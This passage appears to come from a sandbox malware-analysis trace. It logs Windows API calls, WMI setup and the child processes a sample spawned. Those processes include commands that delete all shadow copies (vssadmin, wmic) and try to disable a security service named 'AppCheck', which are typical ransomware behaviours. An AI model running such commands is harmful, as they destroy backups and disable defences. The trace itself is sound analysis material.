lpMultiByteStr="QualifierSet_Put\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 16 [0253.806] GetProcAddress (hModule=0x6cb30000, lpProcName="QualifierSet_Put") returned 0x6cb379b0 [0253.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Delete", cchWideChar=19, lpMultiByteStr=0x8bbe8b4, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Delete", lpUsedDefaultChar=0x0) returned 19 [0253.892] GetProcAddress (hModule=0x6cb30000, lpProcName="QualifierSet_Delete") returned 0x6cb378e0 [0253.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_GetNames", cchWideChar=21, lpMultiByteStr=0x8bbe8b4, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetNames5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 21 [0253.896] GetProcAddress (hModule=0x6cb30000, lpProcName="QualifierSet_GetNames") returned 0x6cb37950 [0253.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_BeginEnumeration", cchWideChar=29, lpMultiByteStr=0x8bbe8ac, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_BeginEnumeration5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 29 [0253.988] GetProcAddress (hModule=0x6cb30000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6cb378c0 [0253.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Next", cchWideChar=17, lpMultiByteStr=0x8bbe8b8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Next5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 17 [0253.992] GetProcAddress (hModule=0x6cb30000, lpProcName="QualifierSet_Next") returned 0x6cb37980 [0254.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_EndEnumeration", cchWideChar=27, lpMultiByteStr=0x8bbe8ac, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_EndEnumeration", lpUsedDefaultChar=0x0) returned 27 [0254.083] GetProcAddress (hModule=0x6cb30000, lpProcName="QualifierSet_EndEnumeration") returned 0x6cb37900 [0254.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetCurrentApartmentType", cchWideChar=23, lpMultiByteStr=0x8bbe8b0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetCurrentApartmentType", lpUsedDefaultChar=0x0) returned 23 [0254.087] GetProcAddress (hModule=0x6cb30000, lpProcName="GetCurrentApartmentType") returned 0x6cb372c0 [0254.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetDemultiplexedStub", cchWideChar=20, lpMultiByteStr=0x8bbe8b4, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDemultiplexedStub\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 20 [0254.281] GetProcAddress (hModule=0x6cb30000, lpProcName="GetDemultiplexedStub") returned 0x6cb372e0 [0254.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateInstanceEnumWmi", cchWideChar=21, lpMultiByteStr=0x8bbe8b4, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateInstanceEnumWmi5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 21 [0254.366] GetProcAddress (hModule=0x6cb30000, lpProcName="CreateInstanceEnumWmi") returned 0x6cb36f20 [0254.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateClassEnumWmi", cchWideChar=18, lpMultiByteStr=0x8bbe8b8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateClassEnumWmiØs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 18 [0254.488] GetProcAddress (hModule=0x6cb30000, lpProcName="CreateClassEnumWmi") returned 0x6cb36e50 [0254.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecQueryWmi", cchWideChar=12, lpMultiByteStr=0x8bbe8bc, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecQueryWmi\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 12 [0254.496] GetProcAddress (hModule=0x6cb30000, lpProcName="ExecQueryWmi") returned 0x6cb371c0 [0254.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecNotificationQueryWmi", cchWideChar=24, lpMultiByteStr=0x8bbe8b0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecNotificationQueryWmi\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 24 [0254.769] GetProcAddress (hModule=0x6cb30000, lpProcName="ExecNotificationQueryWmi") returned 0x6cb370f0 [0254.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutInstanceWmi", cchWideChar=14, lpMultiByteStr=0x8bbe8bc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutInstanceWmiØs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 14 [0254.780] GetProcAddress (hModule=0x6cb30000, lpProcName="PutInstanceWmi") returned 0x6cb377c0 [0254.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutClassWmi", cchWideChar=11, lpMultiByteStr=0x8bbe8bc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutClassWmi", lpUsedDefaultChar=0x0) returned 11 [0254.942] GetProcAddress (hModule=0x6cb30000, lpProcName="PutClassWmi") returned 0x6cb376f0 [0254.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloneEnumWbemClassObject", cchWideChar=24, lpMultiByteStr=0x8bbe8b0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloneEnumWbemClassObject\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 24 [0254.949] GetProcAddress (hModule=0x6cb30000, lpProcName="CloneEnumWbemClassObject") returned 0x6cb36c40 [0255.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConnectServerWmi", cchWideChar=16, lpMultiByteStr=0x8bbe8b8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectServerWmi\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 16 [0255.058] GetProcAddress (hModule=0x6cb30000, lpProcName="ConnectServerWmi") returned 0x6cb36d40 [0255.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetErrorInfo", cchWideChar=12, lpMultiByteStr=0x8bbe8bc, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetErrorInfo\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 12 [0255.148] GetProcAddress (hModule=0x6cb30000, lpProcName="GetErrorInfo") returned 0x6cb37330 [0255.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Initialize", cchWideChar=10, lpMultiByteStr=0x8bbe8c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InitializeØs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 10 [0255.165] GetProcAddress (hModule=0x6cb30000, lpProcName="Initialize") returned 0x6cb375e0 [0255.347] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x8bbe870 | out: phkResult=0x8bbe870*=0x810) returned 0x0 [0255.349] RegQueryValueExW (in: hKey=0x810, lpValueName="WMIDisableCOMSecurity", lpReserved=0x0, lpType=0x8bbe88c, lpData=0x0, lpcbData=0x8bbe888*=0x0 | out: lpType=0x8bbe88c*=0x0, lpData=0x0, lpcbData=0x8bbe888*=0x0) returned 0x2 [0255.349] RegCloseKey (hKey=0x810) returned 0x0 [0255.349] CoCreateInstance (in: rclsid=0x6cb336ac*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6cb3370c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x8bbefe0 | out: ppv=0x8bbefe0*=0x7686a20) returned 0x0 [0255.350] WbemLocator:IWbemLocator:ConnectServer (in: This=0x7686a20, strNetworkResource="\\\\localhost\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x8bbf084 | out: ppNamespace=0x8bbf084*=0x7610c08) returned 0x0 [0261.706] WbemLocator:IUnknown:QueryInterface (in: This=0x7610c08, riid=0x6cb3352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bbef08 | out: ppvObject=0x8bbef08*=0x76b0f68) returned 0x0 [0261.706] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x76b0f68, pProxy=0x7610c08, pAuthnSvc=0x8bbef58, pAuthzSvc=0x8bbef54, pServerPrincName=0x8bbef4c, pAuthnLevel=0x8bbef50, pImpLevel=0x8bbef40, pAuthInfo=0x8bbef44, pCapabilites=0x8bbef48 | out: pAuthnSvc=0x8bbef58*=0xa, pAuthzSvc=0x8bbef54*=0x0, pServerPrincName=0x8bbef4c, pAuthnLevel=0x8bbef50*=0x6, pImpLevel=0x8bbef40*=0x2, pAuthInfo=0x8bbef44, pCapabilites=0x8bbef48*=0x1) returned 0x0 [0261.706] WbemLocator:IUnknown:Release (This=0x76b0f68) returned 0x1 [0261.706] WbemLocator:IUnknown:QueryInterface (in: This=0x7610c08, riid=0x6cb3351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bbeefc | out: ppvObject=0x8bbeefc*=0x76b0f8c) returned 0x0 [0261.706] WbemLocator:IUnknown:QueryInterface (in: This=0x7610c08, riid=0x6cb3352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bbeee8 | out: ppvObject=0x8bbeee8*=0x76b0f68) returned 0x0 [0261.707] WbemLocator:IClientSecurity:SetBlanket (This=0x76b0f68, pProxy=0x7610c08, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0261.707] WbemLocator:IUnknown:Release (This=0x76b0f68) returned 0x2 [0261.707] WbemLocator:IUnknown:Release (This=0x76b0f8c) returned 0x1 [0261.707] CoTaskMemFree (pv=0x78cd848) [0261.707] WbemLocator:IUnknown:AddRef (This=0x7610c08) returned 0x2 [0261.707] WbemLocator:IUnknown:Release (This=0x7686a20) returned 0x0 [0261.708] CoGetContextToken (in: pToken=0x8bbe428 | out: pToken=0x8bbe428) returned 0x0 [0261.709] CoGetContextToken (in: pToken=0x8bbe830 | out: pToken=0x8bbe830) returned 0x0 [0261.709] WbemLocator:IUnknown:QueryInterface (in: This=0x7610c08, riid=0x72d902b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bbe7c8 | out: ppvObject=0x8bbe7c8*=0x76b0f70) returned 0x0 [0261.709] WbemLocator:IRpcOptions:Query (in: This=0x76b0f70, pPrx=0x76baa58, dwProperty=2, pdwValue=0x8bbe8c8 | out: pdwValue=0x8bbe8c8) returned 0x80004002 [0261.710] WbemLocator:IUnknown:Release (This=0x76b0f70) returned 0x2 [0261.710] CoGetContextToken (in: pToken=0x8bbee08 | out: pToken=0x8bbee08) returned 0x0 [0261.710] CoGetContextToken (in: pToken=0x8bbed68 | out: pToken=0x8bbed68) returned 0x0 [0261.710] WbemLocator:IUnknown:QueryInterface (in: This=0x7610c08, riid=0x8bbee38*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x8bbed00 | out: ppvObject=0x8bbed00*=0x7610c08) returned 0x0 [0261.711] WbemLocator:IUnknown:Release (This=0x7610c08) returned 0x2 [0261.712] SysStringLen (param_1=0x0) returned 0x0 [0261.712] CoUninitialize () Thread: id = 234 os_tid = 0x100c Thread: id = 235 os_tid = 0x131c [0262.243] CoGetContextToken (in: pToken=0x8cbf3bc | out: pToken=0x8cbf3bc) returned 0x0 [0262.243] CoGetContextToken (in: pToken=0x8cbf3ac | out: pToken=0x8cbf3ac) returned 0x0 [0262.245] CoGetMarshalSizeMax (in: pulSize=0x8cbf368, riid=0x72d63e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x76baa58, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x8cbf368) returned 0x0 [0262.247] CoMarshalInterface (pStm=0x7673608, riid=0x72d63e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x76baa58, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0262.252] WbemLocator:IUnknown:QueryInterface (in: This=0x7610c08, riid=0x11ef90c*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x8cbf1f4 | out: ppvObject=0x8cbf1f4*=0x7610c08) returned 0x0 [0262.252] WbemLocator:IUnknown:QueryInterface (in: This=0x7610c08, riid=0x73f84cd4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x8cbf12c | out: ppvObject=0x8cbf12c*=0x7610c08) returned 0x0 [0262.253] WbemLocator:IUnknown:QueryInterface (in: This=0x7610c08, riid=0x73f84cd4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x8cbf0a8 | out: ppvObject=0x8cbf0a8*=0x7610c08) returned 0x0 Thread: id = 242 os_tid = 0xe70 Thread: id = 243 os_tid = 0x11c0 Thread: id = 244 os_tid = 0xb50 Thread: id = 245 os_tid = 0xa94 Thread: id = 246 os_tid = 0xd7c Process: id = "10" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x1eae7000" os_pid = "0xe98" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x9d0" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 42 os_tid = 0xcf4 Thread: id = 43 os_tid = 0xe8c Thread: id = 47 os_tid = 0xc48 Thread: id = 49 os_tid = 0x1334 Thread: id = 50 os_tid = 0x1210 Process: id = "11" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x5af9a000" os_pid = "0xfa8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xf58" cmd_line = "sc config \"AppCheck\" start=disabled" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 52 os_tid = 0xce0 [0151.521] GetModuleHandleA (lpModuleName=0x0) returned 0xae0000 [0151.521] __set_app_type (_Type=0x1) [0151.521] __p__fmode () returned 0x776f3c14 [0151.521] __p__commode () returned 0x776f49ec [0151.521] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xae5f00) returned 0x0 [0151.521] __wgetmainargs (in: _Argc=0xaee028, _Argv=0xaee02c, _Env=0xaee030, _DoWildCard=0, _StartInfo=0xaee03c | out: _Argc=0xaee028, _Argv=0xaee02c, _Env=0xaee030) returned 0 [0151.521] SetThreadUILanguage (LangId=0x0) returned 0x560409 [0151.941] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0151.941] GetStdHandle (nStdHandle=0xfffffff5) returned 0x90 [0151.941] wcsncmp (_String1="co", _String2="\\\\", _MaxCount=0x2) returned 7 [0151.941] _wcsicmp (_String1="config", _String2="query") returned -14 [0151.941] _wcsicmp (_String1="config", _String2="queryex") returned -14 [0151.941] _wcsicmp (_String1="config", _String2="start") returned -16 [0151.941] _wcsicmp (_String1="config", _String2="pause") returned -13 [0151.941] _wcsicmp (_String1="config", _String2="interrogate") returned -6 [0151.941] _wcsicmp (_String1="config", _String2="control") returned -14 [0151.941] _wcsicmp (_String1="config", _String2="continue") returned -14 [0151.941] _wcsicmp (_String1="config", _String2="stop") returned -16 [0151.941] _wcsicmp (_String1="config", _String2="config") returned 0 [0151.941] ResolveDelayLoadedAPI () returned 0x7770c440 [0151.942] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x7f04e8 [0151.946] _wcsicmp (_String1="start=disabled", _String2="type=") returned -1 [0151.946] _wcsicmp (_String1="start=disabled", _String2="start=") returned 100 [0151.946] _wcsicmp (_String1="start=disabled", _String2="error=") returned 14 [0151.946] _wcsicmp (_String1="start=disabled", _String2="binPath=") returned 17 [0151.946] _wcsicmp (_String1="start=disabled", _String2="group=") returned 12 [0151.946] _wcsicmp (_String1="start=disabled", _String2="tag=") returned -1 [0151.946] _wcsicmp (_String1="start=disabled", _String2="depend=") returned 15 [0151.946] _wcsicmp (_String1="start=disabled", _String2="obj=") returned 4 [0151.946] _wcsicmp (_String1="start=disabled", _String2="password=") returned 3 [0151.946] _wcsicmp (_String1="start=disabled", _String2="DisplayName=") returned 15 [0151.946] LocalFree (hMem=0x0) returned 0x0 [0151.946] CloseServiceHandle (hSCObject=0x7f04e8) returned 1 [0151.947] LocalFree (hMem=0x0) returned 0x0 [0151.947] SetThreadUILanguage (LangId=0x0) returned 0x560409 [0152.239] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0152.239] GetStdHandle (nStdHandle=0xfffffff5) returned 0x90 [0152.239] LocalAlloc (uFlags=0x0, uBytes=0x14) returned 0x7f5d20 [0152.239] LocalAlloc (uFlags=0x0, uBytes=0x32) returned 0x7f5d40 [0152.239] wcsncmp (_String1="co", _String2="\\\\", _MaxCount=0x2) returned 7 [0152.239] _wcsicmp (_String1="config", _String2="query") returned -14 [0152.239] _wcsicmp (_String1="config", _String2="queryex") returned -14 [0152.239] _wcsicmp (_String1="config", _String2="start") returned -16 [0152.239] _wcsicmp (_String1="config", _String2="pause") returned -13 [0152.239] _wcsicmp (_String1="config", _String2="interrogate") returned -6 [0152.239] _wcsicmp (_String1="config", _String2="control") returned -14 [0152.239] _wcsicmp (_String1="config", _String2="continue") returned -14 [0152.239] _wcsicmp (_String1="config", _String2="stop") returned -16 [0152.239] _wcsicmp (_String1="config", _String2="config") returned 0 [0152.239] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x7f6438 [0152.240] _wcsicmp (_String1="start=", _String2="type=") returned -1 [0152.240] _wcsicmp (_String1="start=", _String2="start=") returned 0 [0152.240] _wcsicmp (_String1="disabled", _String2="boot") returned 2 [0152.240] _wcsicmp (_String1="disabled", _String2="system") returned -15 [0152.240] _wcsicmp (_String1="disabled", _String2="auto") returned 3 [0152.240] _wcsicmp (_String1="disabled", _String2="demand") returned 4 [0152.240] _wcsicmp (_String1="disabled", _String2="disabled") returned 0 [0152.240] OpenServiceW (hSCManager=0x7f6438, lpServiceName="AppCheck", dwDesiredAccess=0x3) returned 0x0 [0152.241] GetLastError () returned 0x424 [0152.241] _ultow (in: _Dest=0x424, _Radix=6551720 | out: _Dest=0x424) returned="1060" [0152.241] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xaee3c0, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0152.248] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x63f884, nSize=0x2, Arguments=0x63f89c | out: lpBuffer="귐\x7fc蕗®\x04") returned 0x62 [0152.253] GetFileType (hFile=0x90) returned 0x2 [0152.253] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x63f868 | out: lpMode=0x63f868) returned 1 [0152.454] WriteConsoleW (in: hConsoleOutput=0x90, lpBuffer=0x7fadd0*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x63f878, lpReserved=0x0 | out: lpBuffer=0x7fadd0*, lpNumberOfCharsWritten=0x63f878*=0x62) returned 1 [0152.628] LocalFree (hMem=0x7fadd0) returned 0x0 [0152.628] LocalFree (hMem=0x0) returned 0x0 [0152.629] CloseServiceHandle (hSCObject=0x7f6438) returned 1 [0152.629] LocalFree (hMem=0x7f5d20) returned 0x0 [0152.629] LocalFree (hMem=0x7f5d40) returned 0x0 [0152.629] exit (_Code=1060) Thread: id = 54 os_tid = 0x10f4 Process: id = "12" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x9609000" os_pid = "0xfa0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xf74" cmd_line = "vssadmin delete shadows /all /quiet " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 53 os_tid = 0xf98 Thread: id = 55 os_tid = 0x1368 Thread: id = 56 os_tid = 0x138c Thread: id = 57 os_tid = 0x13f8 Thread: id = 58 os_tid = 0x1388 Process: id = "13" image_name = "wmic.exe" filename = "c:\\windows\\syswow64\\wbem\\wmic.exe" page_root = "0x43740000" os_pid = "0x1328" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xf74" cmd_line = "wmic shadowcopy delete " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 59 os_tid = 0x1340 [0166.792] GetModuleHandleA (lpModuleName=0x0) returned 0x1290000 [0166.792] __set_app_type (_Type=0x1) [0166.792] __p__fmode () returned 0x776f3c14 [0166.792] __p__commode () returned 0x776f49ec [0166.792] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x12c9af0) returned 0x0 [0166.792] __wgetmainargs (in: _Argc=0x12d81a8, _Argv=0x12d81ac, _Env=0x12d81b0, _DoWildCard=0, _StartInfo=0x12d81bc | out: _Argc=0x12d81a8, _Argv=0x12d81ac, _Env=0x12d81b0) returned 0 [0166.793] ??0CHString@@QAE@XZ () returned 0x12d85ec [0166.793] malloc (_Size=0x18) returned 0x750ec0 [0166.793] malloc (_Size=0x38) returned 0x750ee0 [0166.793] malloc (_Size=0x28) returned 0x750f20 [0166.793] malloc (_Size=0x18) returned 0x750f50 [0166.793] malloc (_Size=0x24) returned 0x750f70 [0166.793] malloc (_Size=0x18) returned 0x750fa0 [0166.793] malloc (_Size=0x18) returned 0x750fc0 [0166.793] ??0CHString@@QAE@XZ () returned 0x12d88fc [0166.793] malloc (_Size=0x18) returned 0x750fe0 [0166.793] ?Empty@CHString@@QAEXXZ () returned 0x734765f8 [0166.793] SetConsoleCtrlHandler (HandlerRoutine=0x12c3cc0, Add=1) returned 1 [0166.794] _onexit (_Func=0x12cf370) returned 0x12cf370 [0166.794] _onexit (_Func=0x12cf380) returned 0x12cf380 [0166.794] _onexit (_Func=0x12cf390) returned 0x12cf390 [0166.794] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0166.794] ResolveDelayLoadedAPI () returned 0x74a22590 [0166.795] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0166.809] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0169.660] CoCreateInstance (in: rclsid=0x1296a74*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x1296a84*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x12d8510 | out: ppv=0x12d8510*=0x823848) returned 0x0 [0171.261] GetCurrentProcess () returned 